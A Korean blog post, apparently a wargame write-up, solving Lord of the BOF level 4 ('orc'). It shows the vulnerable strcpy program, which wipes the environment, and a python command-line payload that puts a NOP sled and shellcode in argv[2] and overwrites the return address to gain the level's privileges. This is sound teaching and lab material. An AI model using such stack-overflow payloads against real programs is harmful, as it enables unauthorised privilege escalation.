zj3t

email: euntaejang@gmail.com

Latest Posts

LOB-level4

By 오후 7:16 ,

조금 생각하게 만든 문제였습니다. 새로나온 개념또한 있었습니다.






#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')  //return address의 시작이 0xbfxxxxxx로 시작하여야한다.
{
printf("stack is still your friend.\n");
exit(0);
}

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
}

extern char **environ 을 사용하면 모든 환경 변수를 출력할 수 있습니다.

이 문제에서는 환경변수를 차례로 하나씩 가져온뒤 memset으로 모두 0으로 만들었습니다.

따라서 지금껏 풀어왔던 문제들처럼 환경변수를 통한 nop 썰매를 이용할 수 없었습니다.

따라서 이용한 방법이 argv[2] 즉, 두번째 인자를 이용한 것입니다.

./orc 'python -c 'print "\x90"*44+"ret(4byte)"'` 'python -c 'print "\x90"*100
+"SHELLCODE"'`

입니다. 저 ret부분에는 argv[2]의 시작주소가 입력 될 것입니다.

저는 기존의 orc.c 코드에 argv[2]의 주소를 출력하도록 설정하였습니다.

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
char buffer[40];
int i;

if(argc < 2){
printf("argv error\n");
exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}

strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
printf("%x\n",argv[2]);
}

주위해야할 점은 argv[2]의 주소를 알아내려 코드를 실행할 때 실제 입력할 형식으로 정확히 입력해야합니다. 안그러면 주소가 바뀌더라고요.

이렇게 하면 orc권한을 획득할 수 있었습니다.

You Might Also Like

0 개의 댓글